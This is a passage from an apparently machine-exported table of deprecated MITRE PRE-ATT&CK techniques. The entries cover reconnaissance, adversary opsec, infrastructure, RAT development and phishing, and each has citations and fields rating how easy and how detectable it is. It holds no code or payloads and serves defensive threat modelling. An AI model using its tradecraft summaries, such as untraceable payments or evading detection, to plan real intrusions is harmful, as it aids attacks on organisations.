a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)",attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1049,Made easier by today's current social media.,Yes,Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1278', 'external_id': 'T1278'}, {'source_name': 'JobPostingThreat', 'description': 'Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1278,mitre-pre-attack,T1278,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify job postings and needs/gaps,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1278). - -Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)",attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1055,Very public by design.,Yes,Public source external to the defender's organization.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1263', 'external_id': 'T1263'}, {'source_name': 'OSFingerprinting2014', 'description': 'InfoSec Institute. (2014, June 19). What You Must Know About OS Fingerprinting. Retrieved March 1, 2017.'}, {'source_name': 'NMAP WAF NSE', 'description': 'Paulino Calderon. (n.d.). http-waf-detect. Retrieved April 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1263,mitre-pre-attack,T1263,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify security defensive capabilities,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263). - -Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)",attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1040,"The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).",No,"Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1264', 'external_id': 'T1264'}, {'source_name': 'SANSRemoteAccess', 'description': 'Jason Ragland. (2010, January 18). Remotely Accessing Sensitive Resources. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1264,mitre-pre-attack,T1264,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify technology usage patterns,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1264). - -Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)",attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1041,"Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.",Yes,"Physical observations, OSINT for remote access instructions, and other techniques are not detectable.",No, -"[{'external_id': 'T1252', 'url': 'https://attack.mitre.org/techniques/T1252', 'source_name': 'mitre-pre-attack'}, {'description': 'Linux Man Page. (n.d.). traceroute(8) - Linux man page. Retrieved April 2, 2017.', 'source_name': 'man traceroute'}, {'description': 'A Shodan Tutorial and Primer Daniel Miessler. (n.d.). A Shodan Tutorial and Primer. Retrieved April 2, 2017.', 'source_name': 'Shodan Tutorial'}]","[{'phase_name': 'technical-information-gathering', 'kill_chain_name': 'mitre-pre-attack'}]",1.0,,https://attack.mitre.org/techniques/T1252,mitre-pre-attack,T1252,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Map network topology,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1252). - -A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)",attack-pattern--cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1029,Various available tools and data sources for scouting and detecting network topologies.,Yes,Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.,Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1316', 'external_id': 'T1316'}, {'source_name': 'Goodin300InBitcoins', 'description': 'Dan Goodin. (2013, October 17). You’re infected—if you want to see your data again, pay us $300 in Bitcoins. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1316,mitre-pre-attack,T1316,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Non-traditional or less attributable payment options,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1316). - -Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)",attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1093,Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.,Yes,Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1319', 'external_id': 'T1319'}, {'source_name': 'CylanceOpCleaver', 'description': 'CYLANCE. (n.d.). Operation Cleaver. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1319,mitre-pre-attack,T1319,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obfuscate or encrypt code,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1319). - -Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)",attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1096,Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.,Yes,"Detecting encryption is easy, decrypting/deobfuscating is hard.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1281', 'external_id': 'T1281'}, {'source_name': 'Scasny2015', 'description': 'Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1281,mitre-pre-attack,T1281,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obtain templates/branding materials,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1281). - -Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)",attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1058,Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.,Yes,Adversary may download templates or branding from publicly available presentations that the defender can't monitor.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1335', 'external_id': 'T1335'}, {'source_name': 'NYTStuxnet', 'description': 'William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', 'url': 'https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1335,mitre-pre-attack,T1335,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Procure required equipment and software,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1335). - -An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)",attack-pattern--2141aea0-cf38-49aa-9e51-ac34092bc30a,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1112,"Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).",Yes,"Outside of highly specific or rare HW, nearly impossible to detect and track.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1351', 'external_id': 'T1351'}, {'source_name': 'ActiveMalwareEnergy', 'description': 'Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1351,mitre-pre-attack,T1351,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote access tool development,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1351). - -A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)",attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1128,"Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.",Yes,"Adversary will likely use code repositories, but development will be performed on their local systems.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1395', 'url': 'https://attack.mitre.org/techniques/T1395'}, {'description': 'Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.', 'source_name': 'Fruit vs Zombies'}, {'description': 'Jon Oberheide. (2010). Android Hax. Retrieved April 12, 2017.', 'source_name': 'Android Hax'}, {'description': 'Sebastian Poeplau, Yanick Fratantonio, Antonio Bianchi, Christopher Kruegel, Giovanni Vigna. (2014). Execute This! Analyzing Unsafe and Malicious Dynamic Code Loading in Android Applications. Retrieved April 12, 2017.', 'source_name': 'Execute This!'}, {'description': 'Wish Wu. (2016, July 15). Fake News App in Hacking Team Dump Designed to Bypass Google Play. Retrieved April 12, 2017.', 'source_name': 'HT Fake News App'}, {'description': 'Radhesh Krishnan Konoth, Victor van der Veen and Herbert Bos. (2016). How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication. Retrieved April 12, 2017.', 'source_name': 'Anywhere Computing kill 2FA'}, {'description': 'Google. (2016, April). Android Security 2015 Year In Review. Retrieved April 12, 2017.', 'source_name': 'Android Security Review 2015'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1395,mitre-pre-attack,T1395,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Runtime code download and execution,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)",attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2,attack-pattern,['launch'],2020-03-30T14:24:50.384Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1172,Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.,Yes,"Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to ""identify attacks that require connection to a server and dynamic downloading of code"" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.",Partial, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1367', 'url': 'https://attack.mitre.org/techniques/T1367'}, {'description': 'Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.', 'source_name': 'APT1'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1367,mitre-pre-attack,T1367,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spear phishing messages with malicious attachments,"**This technique has been deprecated. Please use [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).** - -Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)",attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97,attack-pattern,['launch'],2020-03-30T14:25:35.837Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1144,"Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.",Yes,"Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.",Yes, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1371', 'url': 'https://attack.mitre.org/techniques/T1371'}, {'description': 'Bob Griffin. (2015, May 16). THE ON-GOING THREAT OF SOCIAL ENGINEERING. Retrieved March 9, 2017.', 'source_name': 'RSASEThreat'}, {'description': 'Wikipedia contributors. (2017, March 8). Stagefright (bug). Retrieved March 9, 2017.', 'source_name': 'WikiStagefright'}, {'description': 'Fahmida Y. Rashid. (2015, February 11). Chinese Attackers Hacked Forbes Website in Watering Hole Attack: Security Firms. Retrieved March 7, 2017.', 'source_name': 'ForbesSecurityWeek'}, {'description': 'Kurt Baumgartner. (2016, October 3). On the StrongPity Waterhole Attacks Targeting Italian and Belgian Encryption Users. Retrieved May 9, 2017.', 'source_name': 'StrongPity-waterhole'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1371,mitre-pre-attack,T1371,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Targeted client-side exploitation,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)",attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25,attack-pattern,['launch'],2020-03-30T14:26:52.970Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1148,Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.,Yes,"Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1357', 'external_id': 'T1357'}, {'source_name': 'BypassMalwareDefense', 'description': 'Morton Christiansen. (2010, May 7). Bypassing Malware Defenses. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'test-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1357,mitre-pre-attack,T1357,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Test malware in various execution environments,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1357). - -Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)",attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772,attack-pattern,['test-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1134,"Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.",Yes,Adversary controls the test and defender likely has no visibility.,No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1387', 'url': 'https://attack.mitre.org/techniques/T1387'}, {'description': 'Jeremy Kirk. (2008, December 16). Swedish Police Warn of Tampered Credit Card Terminals. Retrieved April 2, 2017.', 'source_name': 'Credit Card Skimmers'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'compromise'}]",1.0,False,https://attack.mitre.org/techniques/T1387,mitre-pre-attack,T1387,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Unauthorized user introduces compromise delivery mechanism,"**This technique has been deprecated. Please use [Hardware Additions](https://attack.mitre.org/techniques/T1200) where appropriate.** - -If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)",attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413,attack-pattern,['compromise'],2020-03-30T14:28:39.840Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1164,This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.,No,This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1247', 'external_id': 'T1247'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1247,mitre-pre-attack,T1247,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire OSINT data sets and information,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1247). - -Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)",attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1024,"Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.",Yes,"This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1330', 'external_id': 'T1330'}, {'source_name': 'LOWBALL2015', 'description': 'FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1330,mitre-pre-attack,T1330,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire and/or use 3rd party software services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1330). - -A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)",attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1107,3rd party services like these listed are freely available.,Yes,Defender will not have visibility over account creation for 3rd party software services.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1288', 'external_id': 'T1288'}, {'source_name': 'FireEyeAPT28', 'description': 'FireEye, Inc. (2014). APT 28: A Window into Russia’s Cyber Espionage Operations?. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1288,mitre-pre-attack,T1288,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze architecture and configuration posture,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1288). - -An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)",attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1065,Many of the common tools highlight these weakness automatically.,Yes,This can be done offline after the data has been collected.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1289', 'external_id': 'T1289'}, {'source_name': 'FakeLinkedIn', 'description': 'LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1289,mitre-pre-attack,T1289,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze organizational skillsets and deficiencies,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1289). - -Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)",attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1066,"Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.",Yes,This can be done offline after the data has been collected.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1229', 'external_id': 'T1229'}, {'source_name': 'CompetitiveIntelligence', 'description': 'Matt H. Evans. (n.d.). Course 12: Competitive Intelligence (Part 2 of 2). Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1229,mitre-pre-attack,T1229,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Assess KITs/KIQs benefits,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1229). - -Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.",attack-pattern--ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1006,Normal aspect of adversary planning lifecycle. May not be done by all 